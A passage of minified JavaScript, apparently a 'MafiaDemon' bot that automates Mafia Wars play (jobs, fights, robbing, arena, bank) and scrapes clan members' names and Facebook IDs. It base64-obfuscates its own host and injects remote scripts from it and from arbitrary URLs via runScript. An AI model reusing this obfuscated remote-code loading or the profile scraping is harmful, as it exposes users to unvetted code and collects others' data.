                    var d = this.Cb.shift(),
                      c = this.ta[d];
                    this.ta[d] = f;
                    this.length--;
                    0 < this.index && this.index--;
                    return c
                  }
                  return m
                }
                ua.prototype.get = function (d) {
                  return this.ta[d]
                }
                ua.prototype.ia = function (d) {
                  return this.ta[this.Cb[d]]
                }
                ua.prototype.remove = function (d) {
                  this.ta[d] && (this.ta[d] = f, d = this.Cb.indexOf(d.toString()), -1 !== d && (this.Cb.splice(d, 1), this.length--, this.index > d && this.index--, this.index >= this.length && (this.index = 0)))
                }
                ua.prototype.clear = function () {
                  this.ta = {};
                  this.Cb = [];
                  this.index = this.length = 0
                }
                Ub = function (d, c) {
                  var a, b, e, h, i, k, l, j, p, q, r, t, v, u = {
                    id: c,
                    Th: f,
                    Ig: f,
                    Ck: 0,
                    hb: 0,
                    Oa: 0,
                    If: 0,
                    xi: 0,
                    Pi: []
                  };
                  if ((a = /family\.php\?id=%7B%22id%22%3A%22(.+)%22%7D/.exec(d)) && a[1] == sb(c)) {
                    l = /\t{9}<span>(\d+)<\/span>/g;
                    l.lastIndex = 0;
                    if (b = l.exec(d)) u.Ck = o(b[1]);
                    if (b = l.exec(d)) u.hb = o(b[1]);
                    if (b = l.exec(d)) u.Oa = o(b[1]);
                    if (b = l.exec(d)) u.If = o(b[1]);
                    if (b = l.exec(d)) u.xi = o(b[1]);
                    if (a = /<h3>(.+)<\/h3>/.exec(d)) u.Th = a[1];
                    a = d.indexOf('<div id="motd_message"'); - 1 !== a && (l = d.slice(a), u.Ig = $.trim(La(l.slice(0, l.indexOf('')))));
                    l = /' member[Ii]d='(\d+)'/g;
                    l.lastIndex = 0;
                    j = /\t{6}<a href="https*:\/\/facebook.mafiawars.zynga.com\/mwfb\/remote\/html_server.php\?xw_controller=stats.+return false; " >(.+)<\/a>/g;
                    j.lastIndex = 0;
                    p = /<td class="member_level">[\r\n\t]+(\d+)/mg;
                    p.lastIndex = 0;
                    q = /<img src="(.*)" class="clan_member_pic">/g;
                    q.lastIndex = 0;
                    r = /<div class="name_n_rank" id="rank_text.+[\r\n\t]+<span>(.*)<\/span>/mg;
                    for (r.lastIndex = 0;
                    (b = l.exec(d)) && (e = j.exec(d)) && (h = p.exec(d)) && (i = q.exec(d)) && (k = r.exec(d));) {
                      t = o(b[1]);
                      a = e[1];
                      b = k[1];
                      v = o(h[1]);
                      b = {
                        h: t,
                        I: a,
                        Fa: g,
                        Io: b,
                        ya: u.id,
                        ea: v
                      };
                      t = {
                        id: Za(t),
                        name: Za(pb.Mh(Mb(a))),
                        clan: Za(u.id),
                        level: Za(v)
                      };
                      if (a = /\d+_(\d+)_\d+/.exec(i[1])) a = o(a[1]), b.gb = a, t.fbid = Za(a);
                      u.Pi.push(b)
                    }
                    n(A('Family ' + c, ha(u.id, f, u.Th) + ' contains ' + u.xi + ' members'));
                    u.Ig && Ca(ta(u.Ig))
                  }
                  return u
                }
                Xa = function () {
                  return i.Y && Fa.Y && i.Y > Fa.Y ? (n(A('Level Up', 'Reached level ' + l(i.Y))), Fa.Y = i.Y, Ga.Zj(), Ga.ga(), g) : F
                }
                J.prototype.so = function () {
                  $("#" + this.id + '')
                    .hide();
                  $("#" + this.id + '_stop_row')
                    .show()
                    .removeClass('opacity_50');
                  $("#" + this.id + '_cancel_row')
                    .hide()
                }
                J.prototype.hk = function () {
                  $("#" + this.id + '_stop_row')
                    .addClass('opacity_50')
                }
                J.prototype.Cc = function () {
                  this.f || (this.f = g, this.Q = F, this.so(), n(this.xa + ' Started'), this.k(""), this.d = 1, this.o())
                }
                J.prototype.Ga = function () {
                  this.f && (this.f = F, this.Fb(), n(this.xa + ' Stopped'), this.k(""), this.d = 24)
                }
                J.prototype.zc = function () {
                  this.rf && (this.rf = F, this.Fb(), n(this.xa + ' Cancelled'), this.k(""), this.d = 24)
                }
                J.prototype.L = function (d) {
                  return this.f && 4 === d.readyState
                }
                J.prototype.P = function (d, c) {
                  if (200 === d.status) return g;
                  c && B(p(c, d.status));
                  return F
                }
                J.prototype.af = function (d, c) {
                  var a = this;
                  a.f && (d && (i.Ca != d || c) ? (a.k('Traveling to ' + Aa[d] + '…'), x.kh = d, User.bt >= vb(atob('MTM1ODk4ZTQ=')) || E.J(G('xw_controller=travel&xw_action=travel&destination=' + d + '&from=job&zone=1'), function (b) {
                    a.vo(b, d)
                  })) : (a.d = a.G, a.o()))
                }
                J.prototype.vo = function (d, c) {
                  this.L(d) && (this.P(d, 'Problem traveling to ' + Aa[c]) ? (x.Ha(d), i.Ca === c ? (n(A('Traveled to ' + Aa[c], "(" + this.xa + ")")), x.kh = 0, 0 === da('UA-19923611-5') && '549127904' != kb || (this.d = this.G, this.o())) : (n(p('Problem traveling to ' + Aa[c], 'Arrived in ' + Aa[i.Ca])), this.af(c))) : this.af(c))
                }
                J.prototype.Ib = function () {
                  var d = this;
                  d.f && (d.k(''), 1358992885 < User.bt || E.J(G('xw_controller=propertyV2&xw_action=collect&building_type=6', 5), function (c) {
                    d.yo(c)
                  }))
                }
                J.prototype.yo = function (d) {
                  if (this.L(d)) {
                    if (this.P(d, 'Problem Updating Status')) try {
                      var c = JSON.parse(d.responseText);
                      if (c && c.data) {
                        var a = JSON.parse(c.data);
                        Fa.Y || (Fa.pg(c.user_fields, c.fightbar, a.status.active_character), Ga.aa());
                        x.eb(c, a.status.active_character);
                        Ca(A('Status Updated'));
                        this.d = this.G
                      }
                    } catch (b) {
                      B(p('Problem Updating Status', b))
                    }
                    this.o()
                  }
                }
                J.prototype.ol = function () {
                  var d = this;
                  d.f && (d.k('Loading Profile Page…'), 1358967083 < User.bt || E.J(G('xw_controller=stats&xw_action=view'), function (c) {
                    d.pl(c)
                  }))
                }
                J.prototype.pl = function (d) {
                  this.L(d) && (this.P(d, 'Problem Loading Profile Page') && (Ca(A('Profile Page Loaded')), d = Gb(d.responseText), cb = d.ob, this.d = this.G), this.o())
                }
                J.prototype.ri = function () {
                  var d = this;
                  d.f && (d.k('Loading Server Time…'), d.lh = (new Date)
                    .getTime(), 1359011652 < User.bt || E.J(G('xw_controller=collection&xw_action=card_help'), function (c) {
                    d.vl(c)
                  }))
                }
                J.prototype.vl = function (d) {
                  if (this.L(d)) {
                    if (this.P(d, 'Problem Loading Server Time') && (d = /pop_(\d{10})/.exec(d.responseText))) {
                      d = o(d[1]);
                      this.cj = d + o(((new Date)
                        .getTime() - this.lh) / 2E3);
                      this.Jo = this.cj - va();
                      this.d = this.G;
                      this.o();
                      return
                    }
                    this.ri()
                  }
                }
                J.prototype.kl = function () {
                  var d = this;
                  d.f && E.ajax({
                    url: G('xw_controller=inventory&xw_action=view'),
                    data: Ob(),
                    timeout: 4E4
                  }, function (c) {
                    d.ll(c)
                  }, function () {
                    d.ml()
                  })
                }
                J.prototype.ll = function (d) {
                  var c = F;
                  if (this.L(d)) {
                    if (this.P(d, 'Problem Loading Inventory')) if ((d = db(d.responseText, 'var Items = ', /;[\r\n]+/, g)) && d.data) {
                      var d = d.data,
                        a;
                      for (a in d) d.hasOwnProperty(a) && (x.ba[a] ? x.ba[a].ab = d[a].quantity : (x.ba[a] = {
                        id: d[a].id,
                        type: d[a].type,
                        ec: d[a].attack,
                        ma: d[a].defense,
                        Hj: d[a].attackIncrease,
                        ck: d[a].defenseIncrease,
                        Sa: d[a].active,
                        jj: d[a].quantity,
                        ab: d[a].quantity,
                        zk: d[a].equipped_offense,
                        yk: d[a].equipped_defense,
                        Bg: d[a].imagesrc,
                        Uf: d[a].name,
                        Qi: d[a].plural_name
                      }, x.Ff++));
                      n(A('Inventory Loaded', 'Found ' + l(x.Ff) + ' unique items'));
                      c = g;
                      this.d = this.G
                    } else B(p('Problem Loading Inventory'));
                    c || (this.Gf++, 3 <= this.Gf && (n(p('Problem Loading Inventory', 'Gave up after 3 attempts')), this.d = this.G));
                    this.o()
                  }
                }
                J.prototype.ml = function () {
                  this.f && (this.Gf++, 3 <= this.Gf && (n(p('Problem Loading Inventory', 'Gave up after 3 attempts')), this.d = this.G), this.o())
                }
                J.prototype.Sj = function (d, c, a) {
                  var b = this;
                  b.f && E.J(G(d), function (a) {
                    b.Rj(a)
                  }, f, c, a)
                }
                J.prototype.Bh = function (d) {
                  var c;
                  if (this.f) {
                    this.Pj = this.Qj = 0;
                    c || (c = 1);
                    for (var a = 0; a < c; a++) this.Qj++, this.Sj(d, 0 === a && 1 < c ? g : F, 1 < c ? g : F)
                  }
                }
                J.prototype.Rj = function (d) {
                  if (this.L(d)) {
                    if (this.P(d, 'Check Link')) {
                      var c;
                      (c = /<td class="message_body">(.+)<\/td>/.exec(d.responseText)) ? n(A('Check Link', La(c[1])
                        .replace(/Send .+ a comment!/g, "")
                        .replace(/There was an issue processing your request\./g, "")
                        .replace(/Please try again\./g, ""))) : (c = bb(d.responseText, '', 'Play Mafia Wars')) ? n(A('Check Link', La(c))) : n(p('Check Link', 'Unknown Response'))
                    }
                    this.Pj++
                  }
                }
                J.prototype.k = function (d, c) {
                  c && this.Gl === c || (this.Gl = c ? c : 0, this.Lf || (this.Lf = $("#" + this.id + '_status_log')), this.Lf && this.Lf.html(d))
                }
                J.prototype.Oi = function (d, c) {
                  var a;
                  if (0 >= d) c && c();
                  else {
                    a || (a = 'Pausing');
                    var b = this,
                      e = 1E3 * d;
                    b.k(a + ' <span id="' + b.id + '_seconds">' + sa(d) + '</span>…');
                    var h = setInterval(function () {
                      d--;
                      e -= 1E3;
                      document.getElementById(b.id + '_seconds') && b.f ? (document.getElementById(b.id + '_seconds')
                        .innerHTML = sa(Math.max(d, 0)), 0 >= d && (clearInterval(h), c && c())) : clearInterval(h)
                    }, Math.min(e, 1E3))
                  }
                }
                Hb.prototype.init = function () {
                  this.rc = 'job_0_0';
                  this.q = "";
                  this.m = this.C = this.p = this.z = this.j = this.r = this.i = 0;
                  this.D = this.B = this.A = "";
                  this.rb = this.Ea = 0
                }
                Ma.prototype.Xg = function (d, c, a) {
                  if (d !== this.I || c !== this.h || a) this.H = L(d, "p|" + c), this.I = d, this.h = c, d = this.gb ? '<a href="http://www.facebook.com/profile.php?id=' + this.gb + '" target="_blank"><img src="http://graph.facebook.com/' + this.gb + '/picture" class="op-img"/></a>' : '<img src="' + T + '/graphics/character_silhouette_50_50.jpg" class="op-img"/>', $("#" + M + '_arena_op_name_' + this.id)
                    .html(d + " " + this.H)
                }
                Ma.prototype.hj = function (d, c) {
                  if (d !== this.Ja || c) this.Ja = d, $("#" + M + '_arena_op_score_' + this.id)
                    .html(l(d))
                }
                Ma.prototype.fj = function (d, c) {
                  if (d !== this.Pe || c) this.Pe = d, d & 1 ? $("#" + M + '_arena_pu_atk' + this.id)
                    .show() : $("#" + M + '_arena_pu_atk' + this.id)
                    .hide(), d & 2 ? $("#" + M + '_arena_pu_def' + this.id)
                    .show() : $("#" + M + '_arena_pu_def' + this.id)
                    .hide()
                }
                Ma.prototype.dj = function (d, c) {
                  if (d !== this.qg || c) this.qg = d, $("#" + M + '_arena_op_diff_' + this.id)
                    .html(this.fk[d])
                }
                Ma.prototype.fk = ["-", 'Easy', 'Normal', 'Hard'];
                Vb.prototype.runScript = function (d) {
                  var c = document.createElement('script');
                  c.type = 'text/javascript';
                  c.src = d + "?" + Math.random();
                  document.getElementsByTagName('head')[0].appendChild(c);
                  setTimeout(function () {
                    window.top != window && (FB.CanvasClient && -1 == FB.CanvasClient._timer) && FB.CanvasClient.startTimerToSizeToContent()
                  }, 3E3)
                }
                Vb.prototype.feed = function (d) {
                  d.autoPublish = g;
                  MW.Feed(d)
                }
                Vb.prototype.Pa = function () {
                  if (Qa("#" + M + '_frame') || iops != kb) iops && window.localStorage && (window.localStorage.iops = iops);
                  else if (0 !== window.innerHeight && -1 === window.location.href.indexOf('hidden=1')) {
                    try {
                      if (!Qa('#content_row') && !JSON.parse(window.localStorage[M + '_options'])
                        .run_arena) return
                    } catch (d) {}
                    D$ = this;
                    D$.addTab = ra;
                    D$.merge = H;
                    D$.Ho = ia;
                    D$.log = n;
                    D$.logError = B;
                    D$.logDebug = Ca;
                    D$.shareLevelUpBonus = Wb;
                    D$.runScript = this.runScript;
                    D$.feed = this.feed;
                    xb = local_xw_sig;
                    xa = atob('aHR0cDovL21hZmlhZGVtb24uY29t');
                    E = new $a(g);
                    Fb = new $a(F);
                    Tb = new Ab;
                    Sb = new Ab;
                    x = new eb(M + '_frame');
                    X = new ka('Inventory', M + '_loot');
                    new na("Log", M + '_log');
                    new y('', M + '_opponents');
                    V = new la('Ices', M + '_ices');
                    ja = new O('Options', M + '_options');
                    qa = new N('Robbing', M + '_rob');
                    pa = new h('Fighting', M + '_fight');
                    Sa = new I('Bosses',
                    M + '_boss');
                    W = new D('Jobs', M + '_job');
                    Pb = new z('Arena', M + '_arena');
                    ga = new fa('Bank', M + '_bank');
                    Ga = new R('Upgrades', M + '_upgrade');
                    new qb('Links', M + '_links');
                    gb(ja, g);
                    gb(Ia, g);
                    ja.Ij();
                    if (!$.jsonp) {
                      var c = document.createElement('script');
                      c.type = 'text/javascript';
                      c.src = xa + '/js/jquery.jsonp-2.4.0.min.js';
                      document.getElementsByTagName('head')[0].appendChild(c)
                    }
                    try {
                      _gaq = _gaq || [];
                      _gaq.push(['_setAccount', 'UA-19923611-5']);
                      _gaq.push(['', ac]);
                      _gaq.push(['_trackEvent', 'script_loaded', 'script_loaded']);
                      var a = document.createElement('script');
                      a.type = 'text/javascript';
                      a.async = g;
                      a.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
                      var b = document.getElementsByTagName('script')[0];
                      b.parentNode.insertBefore(a, b)
                    } catch (e) {}
                    lb = {}
                  }
                }
                this.Pa()
              }
              setTimeout(function () {
                'undefined' === typeof D$ && new Vb
              }, 2E3)
            })();

